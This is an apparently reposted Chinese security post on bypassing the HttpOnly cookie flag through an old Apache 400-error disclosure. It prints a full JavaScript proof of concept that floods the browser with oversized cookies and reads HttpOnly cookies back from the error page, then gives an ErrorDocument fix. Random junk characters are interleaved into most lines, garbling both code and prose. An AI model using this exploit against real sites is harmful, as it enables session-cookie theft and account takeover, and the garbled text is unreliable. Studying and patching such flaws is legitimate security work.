很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 F% G" h3 g$ |* X1 m) S; K
1 v( i6 V# b6 }3 Y6 x9 F/ r( T用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:, _( k' c- P. a4 A/ |+ e, Z$ Y. [5 \
5 [& U4 ~7 G9 C# u# z( X/ h* `4 F0 n; b/ g E
// http://www.exploit-db.com/exploits/18442/
, d& Q6 j' x+ P, hfunction setCookies (good) {0 Z+ }6 z {, f3 I) Q, ^3 t" ]0 R
// Construct string for cookie value
5 R6 E% y o. I5 Z& b2 Wvar str = "";
. w1 _9 j. D0 I. {: I9 ~for (var i=0; i< 819; i++) {. U: x9 h5 O) P$ C& O8 x( r
str += "x";
9 v# \$ F% s' N* Y' l}& t& G7 }7 j# w) m
// Set cookies/ N3 S. @6 i, E: M' r# U+ b
for (i = 0; i < 10; i++) {
: }9 {8 R. R9 }$ f// Expire evil cookie' E' \, X# w- k$ d' K- W6 O/ n
if (good) {
$ ^+ v* T* ]/ p) k; z! ~% gvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
3 K6 W' |2 S- _8 h( ?& r}* N+ [: t' j8 C3 c& m- Z ?! {
// Set evil cookie+ w* n7 X' L, Q
else {. W4 t3 _- p2 v9 b# w6 g, {. c
var cookie = "xss"+i+"="+str+";path=/";
+ h; Z5 U6 b* ~# B+ X}9 c( Z% y& A( s+ z/ N
document.cookie = cookie;
. Q/ j! y( T4 q3 Q+ S9 C+ T0 {}
+ j" c- `; |0 p}$ o' Z" u" H9 Y$ m3 R
function makeRequest() {
# a% m0 o# p; S. asetCookies();
3 d- C) }; D% `. E8 Z* ?function parseCookies () {
( V) S! v: h- _var cookie_dict = {};
: Y n6 \& i+ Q/ S, W( |7 B5 ]// Only react on 400 status
1 E# N5 i/ O N/ C kif (xhr.readyState === 4 && xhr.status === 400) {7 \! ]; `8 A5 T2 y n: X8 i
// Replace newlines and match <pre> content
S- o S! B$ i8 Y; v* U8 W/ `var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
* d9 S5 z, j, o3 gif (content.length) {
% M8 F5 H3 f- s2 Y" B8 V" T3 {// Remove Cookie: prefix M' a3 V" L, l" s M* R
content = content[1].replace("Cookie: ", "");1 q. d+ Z3 t! Z% F. u" |1 T3 W
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
0 C# E/ [* T9 L {5 H, e// Add cookies to object' _0 J* ?( f5 P
for (var i=0; i<cookies.length; i++) {
$ W, x6 ~; }9 u1 D& mvar s_c = cookies.split('=',2);1 N6 B# b' w' ]1 k
cookie_dict[s_c[0]] = s_c[1];
0 w8 h* E7 D& m S2 O}
% U/ C; K$ u O2 {0 b/ M% `}
# Q4 ~4 q- I( B// Unset malicious cookies2 r) g: f5 Y2 k+ e- ]" h
setCookies(true);8 K% m# T+ z% \! a
alert(JSON.stringify(cookie_dict));
4 \, C8 C& {. p b D}; u, E0 Q, z( I3 k$ O% h
}, h. _" ^5 M$ u [' y
// Make XHR request! H' g7 S2 F9 |4 y5 l
var xhr = new XMLHttpRequest();% k8 [) Z( n: G4 Z4 w& A+ M% `
xhr.onreadystatechange = parseCookies;' W; p- E( Y- s6 B- c% q4 |( L
xhr.open("GET", "/", true);0 _8 d" X2 e7 W" }4 Y" l: ]- }/ @- I
xhr.send(null);
2 j. F8 R/ a, ]7 q+ c& I. f4 e9 T}, ^2 Z! g* s9 p. }, H
makeRequest();5 H A8 v5 f! \ F$ ]4 X
1 |3 C) S$ K4 O+ i/ x你就能看见华丽丽的400错误包含着cookie信息。
5 ]; q; S, @- a, @2 g3 r" k. S* \7 t# l$ Z( C' [
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
i. U$ v q/ ]- ?' t3 U4 k! Q
/ ^1 Z* Y& B) O0 Q6 s! f; p修复方案:
% V: g, p1 Y7 h* u) K. J w- K, C
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下 P) e7 _* N: z0 j# ~1 N5 w
1 B) k4 t/ u. O! a' f9 yIn the event of a problem or error, Apachecan be configured to do one of four things,# k8 |' j' z* Y: F$ g5 M- V* B) e
" E, o5 g; G% p" |4 n
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
& p9 ?7 G# N: W8 f. B+ A0 |2. output acustomized message输出一段信息5 m" N7 e% ^1 W; [, U% u
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 0 X4 Y/ Z( L" g
4. redirect to an external URL to handle theproblem/error转向一个外部URL
' z+ G5 |7 `/ F9 K) ?* N* X/ [, j/ ~/ w, z
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容! a4 }" @3 `* }! M
5 T( u& j& o& s0 Y6 w$ r) s
Apache配置:
( k( o/ N9 w$ @) u9 r1 G0 p3 e$ h5 C* H
ErrorDocument400 " security test"
5 M8 s; X$ X- W6 l7 ]& r% D! k( _& K+ O) W' \
当然,升级apache到最新也可:)。
6 H/ g2 D( E3 l0 v, n$ h2 D$ e7 u* B8 ?9 L" r) u
参考:http://httpd.apache.org/security/vulnerabilities_22.html0 O1 q& `, p- N3 n
9 D A; L% g; M- R5 p7 L4 H
|